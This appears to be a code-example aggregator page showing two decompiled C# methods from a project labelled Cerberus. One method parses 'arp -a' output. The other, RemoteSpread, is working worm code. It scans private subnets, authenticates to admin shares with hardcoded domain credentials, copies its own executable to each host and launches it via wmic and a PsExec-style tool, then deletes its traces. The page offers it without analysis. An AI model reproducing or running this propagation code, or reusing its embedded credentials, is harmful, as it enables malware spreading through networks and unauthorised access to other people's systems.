예제 #1
0
파일: ARP.cs 프로젝트: zha0/Cerberus
        // Token: 0x06000064 RID: 100
        public static List <ARP> ExecuteARPPing()
        {
            List <ARP> result;

            try
            {
                List <ARP> list = new List <ARP>();
                foreach (string text in ARP.ARPPing().Split(new char[]
                {
                    '\n',
                    '\r'
                }))
                {
                    if (!string.IsNullOrEmpty(text))
                    {
                        IEnumerable <string> source = text.Split(new char[]
                        {
                            ' ',
                            '\t'
                        });
                        if (ARP.CS$ < > 9__CachedAnonymousMethodDelegate4 == null)
                        {
                            ARP.CS$ < > 9__CachedAnonymousMethodDelegate4 = new Func <string, bool>(ARP.< GetIPInfo > b__3);
                        }
                        string[] array2 = source.Where(ARP.CS$ < > 9__CachedAnonymousMethodDelegate4).ToArray <string>();
                        if (array2.Length == 3)
                        {
                            list.Add(new ARP(array2[1], array2[0]));
                        }
                    }
                }
                result = list;
            }
            catch (Exception innerException)
            {
                throw new Exception("IPInfo: Error Parsing 'arp -a' results", innerException);
            }
            return(result);
        }
예제 #2
0
        // Token: 0x06000044 RID: 68
        public static void RemoteSpread()
        {
            try
            {
                Spread.wHmHGfpgcyEAPS = Spread.InitSpread();
            }
            catch
            {
                return;
            }
            string text = "";

            if (Spread.wHmHGfpgcyEAPS.Count > 0)
            {
                try
                {
                    text = Spread.Download();
                }
                catch
                {
                    return;
                }
            }
            try
            {
                if (File.Exists(text))
                {
                    foreach (string text2 in Spread.wHmHGfpgcyEAPS)
                    {
                        if (text2.StartsWith("10.") || text2.StartsWith("172.16.") || text2.StartsWith("192.168."))
                        {
                            try
                            {
                                if (MainCore.ylIKJJsgdllsSVj == "YES")
                                {
                                    MainCore.CreateProcess("net.exe", "use \\\\" + text2 + " /USER:SHJPOLICE\\amer !Omar2012");
                                    Thread.Sleep(2000);
                                    File.Copy(Assembly.GetEntryAssembly().Location, "\\\\" + text2 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location), true);
                                    if (File.Exists("\\\\" + text2 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location)))
                                    {
                                        MainCore.CreateProcess("wmic.exe", string.Concat(new string[]
                                        {
                                            "/node:",
                                            text2,
                                            " /user:SHJPOLICE\\amer /password:!Omar2012 process call create cmd.exe /c \\",
                                            text2,
                                            "\\Users\\Public\\",
                                            Path.GetFileName(Assembly.GetEntryAssembly().Location)
                                        }));
                                    }
                                }
                                else
                                {
                                    MainCore.CreateProcess("net.exe", "use \\\\" + text2);
                                    Thread.Sleep(2000);
                                    File.Copy(Assembly.GetEntryAssembly().Location, "\\\\" + text2 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location), true);
                                    if (File.Exists("\\\\" + text2 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location)))
                                    {
                                        MainCore.CreateProcess("wmic.exe", string.Concat(new string[]
                                        {
                                            "/node:",
                                            text2,
                                            " process call create cmd.exe /c \\\\",
                                            text2,
                                            "\\Users\\Public\\",
                                            Path.GetFileName(Assembly.GetEntryAssembly().Location)
                                        }));
                                    }
                                }
                                goto IL_290;
                            }
                            catch
                            {
                                goto IL_290;
                            }
IL_244:
                            MainCore.CreateProcess(text, "\\" + text2 + " -u SHJPOLICE\\amer -p !Omar2012 -d -f -h -s -n 2 -c " + Assembly.GetEntryAssembly().Location);
                            continue;
IL_290:
                            if (MainCore.ylIKJJsgdllsSVj == "YES")
                            {
                                goto IL_244;
                            }
                            MainCore.CreateProcess(text, "\\" + text2 + " -d -f -h -s -n 2 -c " + Assembly.GetEntryAssembly().Location);
                        }
                    }
                }
            }
            catch
            {
                return;
            }
            List <ARP> list = ARP.ExecuteARPPing();

            foreach (ARP arp in list)
            {
                try
                {
                    if (arp.IPAddress.StartsWith("10.") || arp.IPAddress.StartsWith("172.16.") || arp.IPAddress.StartsWith("192.168."))
                    {
                        MAC.GetMAC(arp.MacAddress, arp.IPAddress, "255.255.255.0");
                    }
                }
                catch
                {
                    return;
                }
            }
            foreach (ARP arp2 in list)
            {
                try
                {
                    Regex  regex   = new Regex(".");
                    string string_ = string.Concat(new string[]
                    {
                        regex.Split(arp2.IPAddress)[0],
                        ".",
                        regex.Split(arp2.IPAddress)[1],
                        ".",
                        regex.Split(arp2.IPAddress)[2]
                    });
                    List <string> networkVictims = Ping.GetNetworkVictims(string_);
                    foreach (string text2 in networkVictims)
                    {
                        Spread.SjeaxFYLqZIz = text2;
                        foreach (string text3 in networkVictims)
                        {
                            if (text3.StartsWith("10.") || text3.StartsWith("172.16.") || text3.StartsWith("192.168."))
                            {
                                try
                                {
                                    if (MainCore.ylIKJJsgdllsSVj == "YES")
                                    {
                                        MainCore.CreateProcess("net.exe", "use \\\\" + text3 + " /USER:SHJPOLICE\\amer !Omar2012");
                                        Thread.Sleep(2000);
                                        File.Copy(Assembly.GetEntryAssembly().Location, "\\\\" + text3 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location), true);
                                        if (File.Exists("\\\\" + text3 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location)))
                                        {
                                            MainCore.CreateProcess("wmic.exe", string.Concat(new string[]
                                            {
                                                "/node:",
                                                text3,
                                                " /user:SHJPOLICE\\amer /password:!Omar2012 process call create cmd.exe /c \\\\",
                                                text3,
                                                "\\Users\\Public\\",
                                                Path.GetFileName(Assembly.GetEntryAssembly().Location)
                                            }));
                                        }
                                    }
                                    else
                                    {
                                        MainCore.CreateProcess("net.exe", "use \\\\" + text2);
                                        Thread.Sleep(2000);
                                        File.Copy(Assembly.GetEntryAssembly().Location, "\\\\" + text3 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location), true);
                                        if (File.Exists("\\\\" + text3 + "\\Users\\Public\\" + Path.GetFileName(Assembly.GetEntryAssembly().Location)))
                                        {
                                            MainCore.CreateProcess("wmic.exe", string.Concat(new string[]
                                            {
                                                "/node:",
                                                text3,
                                                " process call create cmd.exe /c \\\\",
                                                text3,
                                                "\\Users\\Public\\",
                                                Path.GetFileName(Assembly.GetEntryAssembly().Location)
                                            }));
                                        }
                                    }
                                    goto IL_647;
                                }
                                catch
                                {
                                    goto IL_647;
                                }
IL_5F9:
                                MainCore.CreateProcess(text, "\\" + text3 + " -u SHJPOLICE\\amer -p !Omar2012 -d -f -h -s -n 2 -c " + Assembly.GetEntryAssembly().Location);
                                continue;
IL_647:
                                if (MainCore.ylIKJJsgdllsSVj == "YES")
                                {
                                    goto IL_5F9;
                                }
                                MainCore.CreateProcess(text, "\\" + text3 + " -d -f -h -s -n 2 -c " + Assembly.GetEntryAssembly().Location);
                            }
                        }
                    }
                }
                catch
                {
                    return;
                }
            }
            if (File.Exists(text))
            {
                File.Delete(text);
            }
        }